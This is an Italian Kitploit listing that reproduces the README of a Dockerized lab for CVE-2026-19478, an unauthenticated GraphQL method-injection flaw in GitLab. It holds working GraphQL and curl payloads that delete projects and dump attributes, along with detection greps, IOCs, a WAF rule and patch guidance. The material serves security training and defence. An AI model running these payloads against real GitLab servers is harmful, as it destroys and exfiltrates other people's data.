Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Gitlab-CVE-2026-19478 — Laboratorio di exploit dockerizzato e script per CVE-2026-19478, una critica iniezione di codice GraphQL non autenticata in GitLab che consente chiamate arbitrarie a metodi Ruby, eliminazione di progetti ed esfiltrazione di dati. | Kitploit
Strumenti/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APIPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Laboratorio di exploit dockerizzato e script per CVE-2026-19478, una critica iniezione di codice GraphQL non autenticata in GitLab che consente chiamate arbitrarie a metodi Ruby, eliminazione di progetti ed esfiltrazione di dati.

Vedi Repository
2 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-19478 — Iniezione della Direttiva GraphQL @gl_introduced di GitLab

Iniezione Remota di Codice Non Autenticata tramite Direttiva GraphQL in GitLab CE/EE — Elimina Qualsiasi Progetto Pubblico con una Singola Richiesta HTTP

Un laboratorio pratico di penetration testing che riproduce CVE-2026-19478, una vulnerabilità critica (CVSS 9.4) nell'API GraphQL di GitLab. La direttiva @gl_introduced consente ad attaccanti non autenticati di eseguire metodi Ruby arbitrari su oggetti lato server — inclusa l'eliminazione di progetti, l'esfiltrazione di dati e il trasferimento di proprietà — con zero autenticazione.

Questo laboratorio esegue un'istanza reale e vulnerabile di GitLab CE 19.2.0 in Docker per una pratica di sfruttamento realistica.

Indice

  • Riepilogo della Vulnerabilità
  • Come Funziona lo Sfruttamento
  • Diagramma del Flusso di Attacco
  • Configurazione del Laboratorio
  • Guida allo Sfruttamento
  • Utilizzo dello Script di Exploit
  • Rilevamento e Indicatori di Compromissione
  • Rimedio
  • Riferimenti
  • Disclaimer
  • Contattaci

Riepilogo della Vulnerabilità

Scarica lo strumento
CampoValore
ID CVECVE-2026-19478
Punteggio CVSS9.4 (Critico)
ProdottoGitLab Community Edition (CE) / Enterprise Edition (EE)
Tipo di VulnerabilitàIniezione di Codice / Esecuzione Arbitraria di Metodi (CWE-94)
Vettore di AttaccoRete (Remoto)
AutenticazioneNon richiesta
Interazione dell'UtenteNessuna
Complessità dell'AttaccoBassa
Versioni Interessate18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Versioni Corrette18.11.11, 19.0.8, 19.1.6, 19.2.4
Scoperta dahiimguardian (tramite HackerOne)
Data della Patch17 agosto 2026

Impatto

Un attaccante remoto non autenticato può:

  • Eliminare permanentemente qualsiasi progetto pubblico
  • Esfiltrare dati interni, token di amministrazione e segreti
  • Modificare visibilità, proprietà e impostazioni dei progetti
  • Eseguire metodi Ruby arbitrari sul modello Project lato server
  • Archiviare o trasferire progetti senza autorizzazione

Come Funziona lo Sfruttamento

La Direttiva @gl_introduced

GitLab utilizza una direttiva GraphQL personalizzata @gl_introduced(version: "X.Y") per supportare i deployment progressivi. Quando una versione più recente di GitLab aggiunge un campo all'API GraphQL, le istanze più vecchie gestiscono le query che fanno riferimento a questi nuovi campi in modo elegante, restituendo null invece di un errore.

Il Percorso del Codice Vulnerabile

File: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Righe 14-36)

Analisi passo-passo:

  1. FutureFieldFilter analizza le query GraphQL in ingresso. Quando un campo ha @gl_introduced(version) con una versione più recente del server corrente, rimuove il campo e imposta context[:contain_future_fields] = true.

  2. IntroducedTracer ripristina il documento di query originale al momento dell'esecuzione, reinserendo i campi rimossi nell'AST.

  3. FutureFieldFallback#get_field intercetta ogni ricerca di campo durante l'esecuzione. Verifica tre condizioni:

    • Il flag contain_future_fields è impostato? ✅
    • Il campo è assente dallo schema? ✅
    • Il nome NON inizia con __? ✅
    • Il nome del campo è sicuro? ❌ Non esiste alcun controllo!
  4. Quando tutti e tre i controlli vengono superati, sintetizza un nuovo GraphQL::Schema::Field senza classe resolver.

  5. In graphql-ruby, un campo senza resolver viene risolto chiamando object.public_send(field_name) sull'oggetto Ruby sottostante — convertendo il nome del campo dell'attaccante in una chiamata di metodo arbitraria sul modello Project di ActiveRecord.

La Correzione (19.2.4+)

La patch di GitLab sostituisce l'invio implicito di metodi con un NilResolver esplicito che restituisce nil incondizionatamente, preservando la compatibilità con i deployment progressivi ed eliminando l'esecuzione arbitraria di metodi:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Diagramma del Flusso di Attacco

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Configurazione del Laboratorio

Prerequisiti

  • Docker e Docker Compose installati
  • Almeno 4 GB di RAM disponibili per Docker (GitLab richiede molte risorse)
  • Python 3 (per lo script di exploit)
  • Browser web o curl / httpie per testare l'API

Avvio Rapido — GitLab CE 19.2.0 Reale (Vulnerabile)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Punti di Accesso

ServizioURLCredenziali
Interfaccia Web GitLabhttp://localhostroot / P@ssw0rd123!
API GraphQLhttp://localhost/api/graphqlNon richieste
GraphQL Explorerhttp://localhost/-/graphql-explorerAccesso richiesto
SSHlocalhost:2222—

Alternativa Leggera (Simulata)

Per macchine con risorse limitate o per un avvio più rapido:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

Arresto / Reset Completo

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

Guida allo Sfruttamento

Livello 1 — Ricognizione (Non Autenticata)

Verifica la versione del server:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

Elenca i progetti pubblici tramite GraphQL (senza autenticazione):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Scopri la direttiva @gl_introduced tramite l'introspezione dello schema:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Livello 2 — Attiva la Vulnerabilità

Usa @gl_introduced con una versione futura su un campo che non esiste nello schema:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

Se vulnerabile, class restituisce il nome della classe Ruby ("Project"), confermando l'invio arbitrario di metodi.

Livello 3 — Esfiltrazione di Dati

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Livello 4 — Sfruttamento Distruttivo

ATTENZIONE: L'operazione seguente eliminerà definitivamente il progetto.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

Altri metodi sfruttabili sul modello Project di GitLab:

MetodoImpatto
destroyElimina definitivamente il progetto
archiveArchivia il progetto
transferTrasferisce la proprietà del progetto
attributesScarica tutti gli attributi del database
repositoryAccede all'oggetto repository
membersElenca i membri del progetto

Esempi con curl

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Rilevamento e Indicatori di Compromissione

Analisi dei Log

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Indicatori di Compromissione (IOC)

IndicatoreDescrizione
@gl_introduced(version: "99.0")Tentativo di sfruttamento con una versione irrealisticamente alta
Nomi di campo: destroy, delete, update, transferMirano a metodi distruttivi di ActiveRecord
Eliminazioni di progetti inatteseProgetti che scompaiono senza interventi dell'amministratore
Modifiche alla visibilitàProgetti pubblici che diventano improvvisamente privati
Trasferimenti di proprietàProgetti trasferiti a utenti sconosciuti

Regole WAF

Blocca le richieste GraphQL contenenti @gl_introduced con numeri di versione elevati:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Rimedio

  1. Applica subito la patch — Aggiorna a GitLab 18.11.11+, 19.0.8+, 19.1.6+ o 19.2.4+
  2. Mitigazione WAF — Blocca le richieste GraphQL contenenti @gl_introduced con stringhe di versione elevate a livello di reverse proxy/WAF
  3. Log di audit — Esamina i log delle attività dei progetti per modifiche, eliminazioni o cambi di visibilità non autorizzati
  4. Log di accesso — Cerca nei log del server web i pattern di sfruttamento (vedi la sezione Rilevamento sopra)
  5. Risposta agli incidenti — Se lo sfruttamento viene confermato, verifica l'eventuale esfiltrazione di dati e ripristina i progetti eliminati dai backup


Crediti del PoC

CVE-2026-19478

Riferimenti

  • Advisory di Sicurezza di GitLab — 17 agosto 2026
  • OWASP A03:2021 — Iniezione
  • CWE-94: Controllo Improprio della Generazione di Codice (Iniezione di Codice)
  • OX Security: Analisi delle CVE GraphQL di GitLab
  • Help Net Security: Grave Falla di GitLab
  • CyCognito: Advisory su Minaccia Emergente
  • The Hacker News: Falla Critica GraphQL di GitLab

Disclaimer

Questo laboratorio è stato creato esclusivamente per la formazione autorizzata sulla sicurezza e l'addestramento al penetration testing. Deve essere utilizzato solo in ambienti controllati e isolati di cui sei proprietario o per i quali hai ricevuto un'autorizzazione scritta esplicita a testare.

Non utilizzare le tecniche, gli strumenti o il codice di exploit di questo laboratorio contro qualsiasi sistema senza la dovuta autorizzazione. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e delle leggi equivalenti in tutto il mondo.

Gli autori e i collaboratori non sono responsabili di qualsiasi uso improprio o danno causato da questo laboratorio o dal suo contenuto.


Contattaci

Follow on Instagram   Connect on LinkedIn

Segui @pwnsystem su Instagram per consigli quotidiani sulla cybersecurity, analisi delle CVE e walkthrough degli exploit.
Connettiti con Punit Darji su LinkedIn per approfondimenti professionali sulla sicurezza e aggiornamenti sul laboratorio.